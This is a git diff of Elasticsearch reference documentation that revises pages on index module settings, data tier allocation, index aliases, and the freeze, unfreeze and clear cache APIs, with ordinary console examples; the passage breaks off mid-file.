image:images/ilm/create-template-wizard-my_template.png[Create template page] -The wizard invokes the <> to add templates to a cluster. +The wizard invokes the <> to add templates to a cluster. .API example [%collapsible] diff --git a/docs/reference/images/ingest/custom-logs-pipeline.png b/docs/reference/images/ingest/custom-logs-pipeline.png new file mode 100644 index 0000000000000..e0806d58e28af Binary files /dev/null and b/docs/reference/images/ingest/custom-logs-pipeline.png differ diff --git a/docs/reference/images/ingest/custom-logs.png b/docs/reference/images/ingest/custom-logs.png new file mode 100644 index 0000000000000..aa8f9ca1f650d Binary files /dev/null and b/docs/reference/images/ingest/custom-logs.png differ diff --git a/docs/reference/images/ingest/ingest-pipeline-list.png b/docs/reference/images/ingest/ingest-pipeline-list.png new file mode 100644 index 0000000000000..ccc52878975e7 Binary files /dev/null and b/docs/reference/images/ingest/ingest-pipeline-list.png differ diff --git a/docs/reference/images/ingest/ingest-pipeline-processor.png b/docs/reference/images/ingest/ingest-pipeline-processor.png new file mode 100644 index 0000000000000..1dbce0f27e98d Binary files /dev/null and b/docs/reference/images/ingest/ingest-pipeline-processor.png differ diff --git a/docs/reference/images/ingest/test-a-pipeline.png b/docs/reference/images/ingest/test-a-pipeline.png new file mode 100644 index 0000000000000..a5b83e200ff07 Binary files /dev/null and b/docs/reference/images/ingest/test-a-pipeline.png differ diff --git a/docs/reference/images/kibana-console.png b/docs/reference/images/kibana-console.png new file mode 100644 index 0000000000000..d53a1d50c6208 Binary files /dev/null and b/docs/reference/images/kibana-console.png differ diff --git a/docs/reference/images/rollups/rollups.gif b/docs/reference/images/rollups/rollups.gif new file mode 100644 index 0000000000000..9ffdb53919198 Binary files /dev/null and b/docs/reference/images/rollups/rollups.gif differ diff --git a/docs/reference/images/sql/odbc/dsn_editor_basic.png b/docs/reference/images/sql/odbc/dsn_editor_basic.png index 78c042fd751d6..c3dca79d51593 100644 Binary files a/docs/reference/images/sql/odbc/dsn_editor_basic.png and b/docs/reference/images/sql/odbc/dsn_editor_basic.png differ diff --git a/docs/reference/images/sql/odbc/dsn_editor_conntest.png b/docs/reference/images/sql/odbc/dsn_editor_conntest.png index 9b1bdb7bc255e..4bc682776cc3c 100644 Binary files a/docs/reference/images/sql/odbc/dsn_editor_conntest.png and b/docs/reference/images/sql/odbc/dsn_editor_conntest.png differ diff --git a/docs/reference/images/sql/odbc/dsn_editor_logging.png b/docs/reference/images/sql/odbc/dsn_editor_logging.png index 42a7d59342b8b..509a69d61ea87 100644 Binary files a/docs/reference/images/sql/odbc/dsn_editor_logging.png and b/docs/reference/images/sql/odbc/dsn_editor_logging.png differ diff --git a/docs/reference/images/sql/odbc/dsn_editor_misc.png b/docs/reference/images/sql/odbc/dsn_editor_misc.png index 6638aaa3adddc..aeff07075b861 100644 Binary files a/docs/reference/images/sql/odbc/dsn_editor_misc.png and b/docs/reference/images/sql/odbc/dsn_editor_misc.png differ diff --git a/docs/reference/images/sql/odbc/dsn_editor_proxy.png b/docs/reference/images/sql/odbc/dsn_editor_proxy.png new file mode 100644 index 0000000000000..3e7538b3a2239 Binary files /dev/null and b/docs/reference/images/sql/odbc/dsn_editor_proxy.png differ diff --git a/docs/reference/index-modules.asciidoc b/docs/reference/index-modules.asciidoc index 8bbb122e61e52..d17cfcf8643e1 100644 --- a/docs/reference/index-modules.asciidoc +++ b/docs/reference/index-modules.asciidoc @@ -2,9 +2,6 @@ [[index-modules]] = Index modules -[partintro] --- - Index Modules are modules created per index and control all aspects related to an index. @@ -14,7 +11,7 @@ an index. [[index-modules-settings-description]] // tag::index-modules-settings-description-tag[] -Index level settings can be set per-index. Settings may be: +Index level settings can be set per-index. Settings may be: _static_:: @@ -53,7 +50,7 @@ NOTE: The number of shards are limited to `1024` per index. This limitation is a Number of routing shards used to <> an index. For example, a 5 shard index with `number_of_routing_shards` set to `30` (`5 x -2 x 3`) could be split by a factor of `2` or `3`. In other words, it could be +2 x 3`) could be split by a factor of `2` or `3`. In other words, it could be split as follows: * `5` -> `10` -> `30` (split by 2, then by 3) @@ -63,6 +60,13 @@ split as follows: This setting's default value depends on the number of primary shards in the index. The default is designed to allow you to split by factors of 2 up to a maximum of 1024 shards. + +NOTE: In {es} 7.0.0 and later versions, this setting affects how documents are +distributed across shards. When reindexing an older index with custom routing, +you must explicitly set `index.number_of_routing_shards` to maintain the same +document distribution. See the +{ref-70}/breaking-changes-7.0.html#_document_distribution_changes[related +breaking change]. ==== `index.shard.check_on_startup`:: @@ -136,19 +140,22 @@ specific index module: [[dynamic-index-number-of-replicas]] `index.number_of_replicas`:: - The number of replicas each primary shard has. Defaults to 1. + The number of replicas each primary shard has. Defaults to 1. `index.auto_expand_replicas`:: - - Auto-expand the number of replicas based on the number of data nodes in the cluster. - Set to a dash delimited lower and upper bound (e.g. `0-5`) or use `all` - for the upper bound (e.g. `0-all`). Defaults to `false` (i.e. disabled). - Note that the auto-expanded number of replicas only takes - <> rules into account, but ignores - any other allocation rules such as <> - and <>, and this can lead to the - cluster health becoming `YELLOW` if the applicable rules prevent all the replicas - from being allocated. +Auto-expand the number of replicas based on the number of data nodes in the +cluster. Set to a dash delimited lower and upper bound (e.g. `0-5`) or use `all` +for the upper bound (e.g. `0-all`). Defaults to `false` (i.e. disabled). Note +that the auto-expanded number of replicas only takes +<> rules into account, but +ignores other allocation rules such as <>, and this can lead to the cluster health becoming `YELLOW` if the +applicable rules prevent all the replicas from being allocated. ++ +If the upper bound is `all` then <> and +<> +are ignored for this index. `index.search.idle.after`:: How long a shard can not receive a search or get request until it's considered @@ -158,7 +165,7 @@ specific index module: `index.refresh_interval`:: How often to perform a refresh operation, which makes recent changes to the - index visible to search. Defaults to `1s`. Can be set to `-1` to disable + index visible to search. Defaults to `1s`. Can be set to `-1` to disable refresh. If this setting is not explicitly set, shards that haven't seen search traffic for at least `index.search.idle.after` seconds will not receive background refreshes until they receive a search request. Searches that hit an @@ -242,6 +249,23 @@ specific index module: The maximum length of regex that can be used in Regexp Query. Defaults to `1000`. + +`index.query.default_field`:: ++ +-- +(string or array of strings) +Wildcard (`*`) patterns matching one or more fields. The following query types +search these matching fields by default: + +* <> +* <> +* <> +* <> + +Defaults to `*`, which matches all fields eligible for +<>, excluding metadata fields. +-- + `index.routing.allocation.enable`:: Controls shard allocation for this index. It can be set to: @@ -263,6 +287,7 @@ specific index module: The length of time that a <> remains available for <>. Defaults to `60s`. +[[index-default-pipeline]] `index.default_pipeline`:: The default <> pipeline for this index. Index requests will fail @@ -270,6 +295,7 @@ specific index module: overridden using the `pipeline` parameter. The special pipeline name `_none` indicates no ingest pipeline should be run. +[[index-final-pipeline]] `index.final_pipeline`:: The final <> pipeline for this index. Index requests will fail if the final pipeline is set and the pipeline does not exist. @@ -331,7 +357,6 @@ Other index settings are available in index modules: <>:: Specify the lifecycle policy and rollover alias for an index. --- include::index-modules/analysis.asciidoc[] diff --git a/docs/reference/index-modules/allocation/data_tier_allocation.asciidoc b/docs/reference/index-modules/allocation/data_tier_allocation.asciidoc index ea5aa3c567806..732f8edc5b0a8 100644 --- a/docs/reference/index-modules/allocation/data_tier_allocation.asciidoc +++ b/docs/reference/index-modules/allocation/data_tier_allocation.asciidoc @@ -13,30 +13,16 @@ These tier attributes are set using the data node roles: * <> * <> * <> +* <> NOTE: The <> role is not a valid data tier and cannot be used -for data tier filtering. +for data tier filtering. The frozen tier stores <> exclusively. [discrete] [[data-tier-allocation-filters]] ==== Data tier allocation settings - -`index.routing.allocation.include._tier`:: - - Assign the index to a node whose `node.roles` configuration has at - least one of to the comma-separated values. - -`index.routing.allocation.require._tier`:: - - Assign the index to a node whose `node.roles` configuration has _all_ - of the comma-separated values. - -`index.routing.allocation.exclude._tier`:: - - Assign the index to a node whose `node.roles` configuration has _none_ of the - comma-separated values. - [[tier-preference-allocation-filter]] `index.routing.allocation.include._tier_preference`:: diff --git a/docs/reference/index-modules/allocation/delayed.asciidoc b/docs/reference/index-modules/allocation/delayed.asciidoc index 5dee9444668ca..fd199a88376d5 100644 --- a/docs/reference/index-modules/allocation/delayed.asciidoc +++ b/docs/reference/index-modules/allocation/delayed.asciidoc @@ -26,7 +26,7 @@ this scenario: * The master rebalances the cluster by allocating shards to Node 5. If the master had just waited for a few minutes, then the missing shards could -have been re-allocated to Node 5 with the minimum of network traffic. This +have been re-allocated to Node 5 with the minimum of network traffic. This process would be even quicker for idle shards (shards not receiving indexing requests) which have been automatically <>. @@ -65,7 +65,7 @@ Also, in case of a master failover situation, elapsed delay time is forgotten ==== Cancellation of shard relocation If delayed allocation times out, the master assigns the missing shards to -another node which will start recovery. If the missing node rejoins the +another node which will start recovery. If the missing node rejoins the cluster, and its shards still have the same sync-id as the primary, shard relocation will be cancelled and the synced shard will be used for recovery instead. diff --git a/docs/reference/index-modules/allocation/prioritization.asciidoc b/docs/reference/index-modules/allocation/prioritization.asciidoc index 5a864b657bad0..2de47868b9c22 100644 --- a/docs/reference/index-modules/allocation/prioritization.asciidoc +++ b/docs/reference/index-modules/allocation/prioritization.asciidoc @@ -11,7 +11,7 @@ Indices are sorted into priority order as follows: This means that, by default, newer indices will be recovered before older indices. Use the per-index dynamically updatable `index.priority` setting to customise -the index prioritization order. For instance: +the index prioritization order. For instance: [source,console] ------------------------------ diff --git a/docs/reference/index-modules/allocation/total_shards.asciidoc b/docs/reference/index-modules/allocation/total_shards.asciidoc index 265ef79564d05..1d8c498a3e85f 100644 --- a/docs/reference/index-modules/allocation/total_shards.asciidoc +++ b/docs/reference/index-modules/allocation/total_shards.asciidoc @@ -2,7 +2,7 @@ === Total shards per node The cluster-level shard allocator tries to spread the shards of a single index -across as many nodes as possible. However, depending on how many shards and +across as many nodes as possible. However, depending on how many shards and indices you have, and how big they are, it may not always be possible to spread shards evenly. @@ -13,7 +13,7 @@ number of shards from a single index allowed per node: `index.routing.allocation.total_shards_per_node`:: The maximum number of shards (replicas and primaries) that will be - allocated to a single node. Defaults to unbounded. + allocated to a single node. Defaults to unbounded. You can also limit the amount of shards a node can have regardless of the index: diff --git a/docs/reference/index-modules/blocks.asciidoc b/docs/reference/index-modules/blocks.asciidoc index 8431dc8049247..111bade2f7747 100644 --- a/docs/reference/index-modules/blocks.asciidoc +++ b/docs/reference/index-modules/blocks.asciidoc @@ -74,9 +74,9 @@ PUT /my-index-000001/_block/write include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index] + -To add blocks to all indices, use `_all` or `*`. To disallow the adding -of blocks to indices with `_all` or wildcard expressions, -change the `action.destructive_requires_name` cluster setting to `true`. +By default, you must explicitly name the indices you are adding blocks to. +To allow the adding of blocks to indices with `_all`, `*`, or other wildcard +expressions, change the `action.destructive_requires_name` setting to `false`. You can update this setting in the `elasticsearch.yml` file or using the <> API. ``:: diff --git a/docs/reference/index-modules/mapper.asciidoc b/docs/reference/index-modules/mapper.asciidoc index 484aec1846613..2bec352b9891f 100644 --- a/docs/reference/index-modules/mapper.asciidoc +++ b/docs/reference/index-modules/mapper.asciidoc @@ -2,7 +2,7 @@ == Mapper The mapper module acts as a registry for the type mapping definitions -added to an index either when creating it or by using the put mapping -api. It also handles the dynamic mapping support for types that have no +added to an index either when creating it or by using the update mapping +API. It also handles the dynamic mapping support for types that have no explicit mappings pre defined. For more information about mapping definitions, check out the <>. diff --git a/docs/reference/index-modules/merge.asciidoc b/docs/reference/index-modules/merge.asciidoc index 3a262b0678e4b..b4c785446ca4a 100644 --- a/docs/reference/index-modules/merge.asciidoc +++ b/docs/reference/index-modules/merge.asciidoc @@ -15,7 +15,7 @@ resources between merging and other activities like search. === Merge scheduling The merge scheduler (ConcurrentMergeScheduler) controls the execution of merge -operations when they are needed. Merges run in separate threads, and when the +operations when they are needed. Merges run in separate threads, and when the maximum number of threads is reached, further merges will wait until a merge thread becomes available. @@ -26,6 +26,6 @@ The merge scheduler supports the following _dynamic_ setting: The maximum number of threads on a single shard that may be merging at once. Defaults to `Math.max(1, Math.min(4, <> / 2))` which - works well for a good solid-state-disk (SSD). If your index is on spinning + works well for a good solid-state-disk (SSD). If your index is on spinning platter drives instead, decrease this to 1. diff --git a/docs/reference/index.asciidoc b/docs/reference/index.asciidoc index 64364e1896094..68cd35fdf5ff0 100644 --- a/docs/reference/index.asciidoc +++ b/docs/reference/index.asciidoc @@ -1,5 +1,5 @@ [[elasticsearch-reference]] -= Elasticsearch Reference += Elasticsearch Guide :include-xpack: true :es-test-dir: {elasticsearch-root}/docs/src/test @@ -33,6 +33,8 @@ include::data-streams/data-streams.asciidoc[] include::ingest.asciidoc[] +include::alias.asciidoc[] + include::search/search-your-data/search-your-data.asciidoc[] include::query-dsl.asciidoc[] @@ -53,8 +55,6 @@ include::autoscaling/index.asciidoc[] include::monitoring/index.asciidoc[] -include::frozen-indices.asciidoc[] - include::data-rollup-transform.asciidoc[] include::high-availability.asciidoc[] diff --git a/docs/reference/indices.asciidoc b/docs/reference/indices.asciidoc index f01d96a3568b5..dfc4cfa99f99d 100644 --- a/docs/reference/indices.asciidoc +++ b/docs/reference/indices.asciidoc @@ -34,11 +34,11 @@ index settings, aliases, mappings, and index templates. [discrete] [[alias-management]] === Alias management: +* <> * <> -* <> * <> * <> -* <> +* <> [discrete] [[index-settings]] @@ -89,98 +89,50 @@ For more information, see <>. * <> * <> - - -include::indices/add-alias.asciidoc[] - +include::indices/alias-exists.asciidoc[] +include::indices/aliases.asciidoc[] include::indices/analyze.asciidoc[] - include::indices/clearcache.asciidoc[] - include::indices/clone-index.asciidoc[] - include::indices/close.asciidoc[] - include::indices/create-index.asciidoc[] - -include::indices/delete-index.asciidoc[] - -include::indices/delete-alias.asciidoc[] - +include::indices/add-alias.asciidoc[] +include::indices/put-component-template.asciidoc[] +include::indices/put-index-template.asciidoc[] +include::indices/put-index-template-v1.asciidoc[] include::indices/delete-component-template.asciidoc[] - +include::indices/dangling-index-delete.asciidoc[] +include::indices/delete-alias.asciidoc[] +include::indices/delete-index.asciidoc[] include::indices/delete-index-template.asciidoc[] - include::indices/delete-index-template-v1.asciidoc[] - +include::indices/indices-exists.asciidoc[] include::indices/flush.asciidoc[] - include::indices/forcemerge.asciidoc[] - include::indices/apis/freeze.asciidoc[] - +include::indices/get-alias.asciidoc[] include::indices/get-component-template.asciidoc[] - include::indices/get-field-mapping.asciidoc[] - include::indices/get-index.asciidoc[] - -include::indices/get-alias.asciidoc[] - include::indices/get-settings.asciidoc[] - include::indices/get-index-template.asciidoc[] - include::indices/get-index-template-v1.asciidoc[] - include::indices/get-mapping.asciidoc[] - -include::indices/alias-exists.asciidoc[] - -include::indices/indices-exists.asciidoc[] - +include::indices/dangling-index-import.asciidoc[] include::indices/recovery.asciidoc[] - include::indices/segments.asciidoc[] - include::indices/shard-stores.asciidoc[] - include::indices/stats.asciidoc[] - include::indices/index-template-exists-v1.asciidoc[] - +include::indices/dangling-indices-list.asciidoc[] include::indices/open-close.asciidoc[] - -include::indices/put-index-template.asciidoc[] - -include::indices/put-index-template-v1.asciidoc[] - -include::indices/put-component-template.asciidoc[] - -include::indices/put-mapping.asciidoc[] - include::indices/refresh.asciidoc[] - +include::indices/resolve.asciidoc[] include::indices/rollover-index.asciidoc[] - include::indices/shrink-index.asciidoc[] - include::indices/simulate-index.asciidoc[] - include::indices/simulate-template.asciidoc[] - include::indices/split-index.asciidoc[] - include::indices/apis/unfreeze.asciidoc[] - -include::indices/aliases.asciidoc[] - include::indices/update-settings.asciidoc[] - -include::indices/resolve.asciidoc[] - -include::indices/dangling-indices-list.asciidoc[] - -include::indices/dangling-index-import.asciidoc[] - -include::indices/dangling-index-delete.asciidoc[] +include::indices/put-mapping.asciidoc[] diff --git a/docs/reference/indices/add-alias.asciidoc b/docs/reference/indices/add-alias.asciidoc index 4f81608f00e4a..3ae66daf160ed 100644 --- a/docs/reference/indices/add-alias.asciidoc +++ b/docs/reference/indices/add-alias.asciidoc @@ -1,12 +1,10 @@ [[indices-add-alias]] -=== Add index alias API +=== Create or update alias API ++++ -Add index alias +Create or update alias ++++ -Creates or updates an index alias. - -include::{es-repo-dir}/glossary.asciidoc[tag=index-alias-desc] +Adds a data stream or index to an <>. [source,console] ---- @@ -47,7 +45,8 @@ NOTE: You cannot add <> to an index alias. ``:: (Required, string) -Name of the index alias to create or update. +Name of the index alias to create or update. Supports +<>. [[add-alias-api-query-params]] @@ -60,14 +59,26 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms] ==== {api-request-body-title} `filter`:: -(Required, query object) +(Optional, query object) include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-alias-filter] -include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-routing] +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing] [[add-alias-api-example]] ==== {api-examples-title} +[[alias-date-math-support]] +===== Date math support + +Index alias names support <>. + +[source,console] +---- +# POST /logs/_alias/ +POST /logs/_alias/%3Clogs_%7Bnow%2FM%7D%3E +---- +// TEST[s/^/PUT logs\n/] + [[alias-adding]] ===== Add a time-based alias @@ -139,3 +150,16 @@ PUT /logs_20302801 } } -------------------------------------------------- + +The create index API also supports <> in index +alias names. + +[source,console] +---- +PUT /logs +{ + "aliases": { + "": {} + } +} +---- diff --git a/docs/reference/indices/alias-exists.asciidoc b/docs/reference/indices/alias-exists.asciidoc index c7cca9d91226a..ab6cd3038ae2c 100644 --- a/docs/reference/indices/alias-exists.asciidoc +++ b/docs/reference/indices/alias-exists.asciidoc @@ -1,12 +1,10 @@ [[indices-alias-exists]] -=== Index alias exists API +=== Alias exists API ++++ -Index alias exists +Alias exists ++++ -Checks if an index alias exists. - -include::{es-repo-dir}/glossary.asciidoc[tag=index-alias-desc] +Checks if an <> exists. [source,console] ---- diff --git a/docs/reference/indices/aliases.asciidoc b/docs/reference/indices/aliases.asciidoc index 20c8ebb94167e..34825c6a6f399 100644 --- a/docs/reference/indices/aliases.asciidoc +++ b/docs/reference/indices/aliases.asciidoc @@ -1,12 +1,10 @@ [[indices-aliases]] -=== Update index alias API +=== Aliases API ++++ -Update index alias +Aliases ++++ -Adds or removes index aliases. - -include::{es-repo-dir}/glossary.asciidoc[tag=index-alias-desc] +Performs one or more <> actions in a single atomic operation. [source,console] ---- @@ -101,30 +99,30 @@ NOTE: You cannot add <> to an index alias. `alias`:: (String) -Comma-separated list or wildcard expression of index alias names to -add, remove, or delete. +Comma-separated list or wildcard expression of index alias names to add, remove, +or delete. Supports <>. + If the `aliases` parameter is not specified, this parameter is required for the `add` or `remove` action. `aliases`:: (Array of strings) -Array of index alias names to -add, remove, or delete. +Array of index alias names to add, remove, or delete. Supports +<>. + -If the `alias` parameter is not specified, -this parameter is required for the `add` or `remove` action. +If the `alias` parameter is not specified, this parameter is required for the +`add` or `remove` action. `filter`:: (Optional, query object) include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-alias-filter] + -See <> for an example. +See <> for an example. `is_hidden`:: (Optional, Boolean) If `true`, the alias will be excluded from wildcard expressions by default, -unless overriden in the request using the `expand_wildcards` parameter, +unless overridden in the request using the `expand_wildcards` parameter, similar to <>. This property must be set to the same value on all indices that share an alias. Defaults to `false`. @@ -139,7 +137,7 @@ Defaults to `false`. + An alias can have one write index at a time. + -See <> for an example. +See <> for an example. + [IMPORTANT] ==== @@ -149,349 +147,21 @@ until an additional index is referenced. At that point, there will be no write i writes will be rejected. ==== -include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-routing] +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing] + -See <> for an example. +See <> for an example. `index_routing`:: (Optional, string) Custom <> used for the alias's indexing operations. + -See <> for an example. +See <> for an example. `search_routing`:: (Optional, string) Custom <> used for the alias's search operations. + -See <> for an example. +See <> for an example. -- - - -[[indices-aliases-api-example]] -==== {api-examples-title} - -[[indices-aliases-api-add-alias-ex]] -===== Add an alias - -The following request adds the `alias1` alias to the `test1` index. - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions" : [ - { "add" : { "index" : "test1", "alias" : "alias1" } } - ] -} --------------------------------------------------- -// TEST[s/^/PUT test1\nPUT test2\n/] - -[[indices-aliases-api-remove-alias-ex]] -===== Remove an alias - -The following request removes the `alias1` alias. - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions" : [ - { "remove" : { "index" : "test1", "alias" : "alias1" } } - ] -} --------------------------------------------------- -// TEST[continued] - -[[indices-aliases-api-rename-alias-ex]] -===== Rename an alias - -Renaming an alias is a simple `remove` then `add` operation within the -same API. This operation is atomic, no need to worry about a short -period of time where the alias does not point to an index: - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions" : [ - { "remove" : { "index" : "test1", "alias" : "alias1" } }, - { "add" : { "index" : "test1", "alias" : "alias2" } } - ] -} --------------------------------------------------- -// TEST[continued] - -[[indices-aliases-api-add-multi-alias-ex]] -===== Add an alias to multiple indices - -Associating an alias with more than one index is simply several `add` -actions: - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions" : [ - { "add" : { "index" : "test1", "alias" : "alias1" } }, - { "add" : { "index" : "test2", "alias" : "alias1" } } - ] -} --------------------------------------------------- -// TEST[s/^/PUT test1\nPUT test2\n/] - -Multiple indices can be specified for an action with the `indices` array syntax: - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions" : [ - { "add" : { "indices" : ["test1", "test2"], "alias" : "alias1" } } - ] -} --------------------------------------------------- -// TEST[s/^/PUT test1\nPUT test2\n/] - -To specify multiple aliases in one action, the corresponding `aliases` array -syntax exists as well. - -For the example above, a glob pattern can also be used to associate an alias to -more than one index that share a common name: - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions" : [ - { "add" : { "index" : "test*", "alias" : "all_test_indices" } } - ] -} --------------------------------------------------- -// TEST[s/^/PUT test1\nPUT test2\n/] - -In this case, the alias is a point-in-time alias that will group all -current indices that match, it will not automatically update as new -indices that match this pattern are added/removed. - -It is an error to index to an alias which points to more than one index. - -It is also possible to swap an index with an alias in one, atomic operation. -This means there will be no point in time where the alias points to no -index in the cluster state. However, as indexing and searches involve multiple -steps, it is possible for the in-flight or queued requests to fail -due to a temporarily non-existent index. - -[source,console] --------------------------------------------------- -PUT test <1> -PUT test_2 <2> -POST /_aliases -{ - "actions" : [ - { "add": { "index": "test_2", "alias": "test" } }, - { "remove_index": { "index": "test" } } <3> - ] -} --------------------------------------------------- - -<1> An index we've added by mistake -<2> The index we should have added -<3> `remove_index` is just like <> and will only remove a concrete index. - -[[filtered]] -===== Filtered aliases - -Aliases with filters provide an easy way to create different "views" of -the same index. The filter can be defined using Query DSL and is applied -to all Search, Count, Delete By Query and More Like This operations with -this alias. - -To create a filtered alias, first we need to ensure that the fields already -exist in the mapping: - -[source,console] --------------------------------------------------- -PUT /my-index-000001 -{ - "mappings": { - "properties": { - "user": { - "properties": { - "id": { - "type": "keyword" - } - } - } - } - } -} --------------------------------------------------- - -Now we can create an alias that uses a filter on field `user.id`: - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions": [ - { - "add": { - "index": "my-index-000001", - "alias": "alias2", - "filter": { "term": { "user.id": "kimchy" } } - } - } - ] -} --------------------------------------------------- -// TEST[continued] - -[[aliases-routing]] -===== Routing - -It is possible to associate routing values with aliases. This feature -can be used together with filtering aliases in order to avoid -unnecessary shard operations. - -The following command creates a new alias `alias1` that points to index -`test`. After `alias1` is created, all operations with this alias are -automatically modified to use value `1` for routing: - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions": [ - { - "add": { - "index": "test", - "alias": "alias1", - "routing": "1" - } - } - ] -} --------------------------------------------------- -// TEST[s/^/PUT test\n/] - -It's also possible to specify different routing values for searching -and indexing operations: - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions": [ - { - "add": { - "index": "test", - "alias": "alias2", - "search_routing": "1,2", - "index_routing": "2" - } - } - ] -} --------------------------------------------------- -// TEST[s/^/PUT test\n/] - -As shown in the example above, search routing may contain several values -separated by comma. Index routing can contain only a single value. - -If a search operation that uses routing alias also has a routing parameter, an -intersection of both search alias routing and routing specified in the -parameter is used. For example the following command will use "2" as a -routing value: - -[source,console] --------------------------------------------------- -GET /alias2/_search?q=user.id:kimchy&routing=2,3 --------------------------------------------------- -// TEST[continued] - -[[aliases-write-index]] -===== Write index - -It is possible to associate the index pointed to by an alias as the write index. -When specified, all index and update requests against an alias that point to multiple -indices will attempt to resolve to the one index that is the write index. -Only one index per alias can be assigned to be the write index at a time. If no write index is specified -and there are multiple indices referenced by an alias, then writes will not be allowed. - -It is possible to specify an index associated with an alias as a write index using both the aliases API -and index creation API. - -Setting an index to be the write index with an alias also affects how the alias is manipulated during -Rollover (see <>). - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions": [ - { - "add": { - "index": "test", - "alias": "alias1", - "is_write_index": true - } - }, - { - "add": { - "index": "test2", - "alias": "alias1" - } - } - ] -} --------------------------------------------------- -// TEST[s/^/PUT test\nPUT test2\n/] - -In this example, we associate the alias `alias1` to both `test` and `test2`, where -`test` will be the index chosen for writing to. - -[source,console] --------------------------------------------------- -PUT /alias1/_doc/1 -{ - "foo": "bar" -} --------------------------------------------------- -// TEST[continued] - -The new document that was indexed to `/alias1/_doc/1` will be indexed as if it were -`/test/_doc/1`. - -[source,console] --------------------------------------------------- -GET /test/_doc/1 --------------------------------------------------- -// TEST[continued] - -To swap which index is the write index for an alias, the Aliases API can be leveraged to -do an atomic swap. The swap is not dependent on the ordering of the actions. - -[source,console] --------------------------------------------------- -POST /_aliases -{ - "actions": [ - { - "add": { - "index": "test", - "alias": "alias1", - "is_write_index": false - } - }, { - "add": { - "index": "test2", - "alias": "alias1", - "is_write_index": true - } - } - ] -} --------------------------------------------------- -// TEST[s/^/PUT test\nPUT test2\n/] diff --git a/docs/reference/indices/apis/freeze.asciidoc b/docs/reference/indices/apis/freeze.asciidoc index 1253b5496e8ec..2a18939fbf1bd 100644 --- a/docs/reference/indices/apis/freeze.asciidoc +++ b/docs/reference/indices/apis/freeze.asciidoc @@ -6,6 +6,10 @@ Freeze index ++++ +// tag::freeze-api-dep[] +deprecated::[7.14, Frozen indices are no longer useful due to https://www.elastic.co/blog/significantly-decrease-your-elasticsearch-heap-memory-usage[recent improvements in heap memory usage].] +// end::freeze-api-dep[] + Freezes an index. [[freeze-index-api-request]] @@ -25,11 +29,11 @@ Freezes an index. A frozen index has almost no overhead on the cluster (except for maintaining its metadata in memory) and is read-only. Read-only indices are blocked for write operations, such as <> or <>. See <> and <>. +merges>>. See <>. The current write index on a data stream cannot be frozen. In order to freeze the current write index, the data stream must first be -<> so that a new write index is created +<> so that a new write index is created and then the previous write index can be frozen. IMPORTANT: Freezing an index will close the index and reopen it within the same @@ -53,5 +57,6 @@ The following example freezes and unfreezes an index: POST /my-index-000001/_freeze POST /my-index-000001/_unfreeze -------------------------------------------------- +// TEST[skip:unable to ignore deprecation warning] // TEST[s/^/PUT my-index-000001\n/] diff --git a/docs/reference/indices/apis/reload-analyzers.asciidoc b/docs/reference/indices/apis/reload-analyzers.asciidoc index 5e56953a41c20..8daa393c22c3b 100644 --- a/docs/reference/indices/apis/reload-analyzers.asciidoc +++ b/docs/reference/indices/apis/reload-analyzers.asciidoc @@ -35,7 +35,7 @@ IMPORTANT: After reloading the search analyzers you should clear the request * If the {es} {security-features} are enabled, you must have the `manage` <> for the target data stream, index, -or index alias. +or alias. [discrete] [[indices-reload-analyzers-api-desc]] @@ -78,12 +78,9 @@ in the future. === {api-path-parms-title} ``:: -(Required, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, use `_all` or `*`. - +(Required, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, use `*` or `_all`. [discrete] [[indices-reload-analyzers-api-query-params]] diff --git a/docs/reference/indices/apis/unfreeze.asciidoc b/docs/reference/indices/apis/unfreeze.asciidoc index b4ea421b09553..4cba93f009403 100644 --- a/docs/reference/indices/apis/unfreeze.asciidoc +++ b/docs/reference/indices/apis/unfreeze.asciidoc @@ -22,8 +22,8 @@ Unfreezes an index. [[unfreeze-index-api-desc]] ==== {api-description-title} -When a frozen index is unfrozen, the index goes through the normal recovery -process and becomes writeable again. See <> and <>. +When a frozen index is unfrozen, the index goes through the normal recovery +process and becomes writeable again. See <>. IMPORTANT: Freezing an index will close the index and reopen it within the same API call. This causes primaries to not be allocated for a short amount of time @@ -47,3 +47,4 @@ POST /my-index-000001/_freeze POST /my-index-000001/_unfreeze -------------------------------------------------- // TEST[s/^/PUT my-index-000001\n/] +// TEST[skip:unable to ignore deprecation warning] diff --git a/docs/reference/indices/clearcache.asciidoc b/docs/reference/indices/clearcache.asciidoc index 8011c2cd3aa89..10b590fce0976 100644 --- a/docs/reference/indices/clearcache.asciidoc +++ b/docs/reference/indices/clearcache.asciidoc @@ -26,19 +26,15 @@ POST /my-index-000001/_cache/clear * If the {es} {security-features} are enabled, you must have the `manage` <> for the target data stream, index, -or index alias. +or alias. [[clear-cache-api-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[clear-cache-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/indices/clone-index.asciidoc b/docs/reference/indices/clone-index.asciidoc index 0c2412a5bb8ce..8e4faf3ba7873 100644 --- a/docs/reference/indices/clone-index.asciidoc +++ b/docs/reference/indices/clone-index.asciidoc @@ -47,7 +47,7 @@ PUT 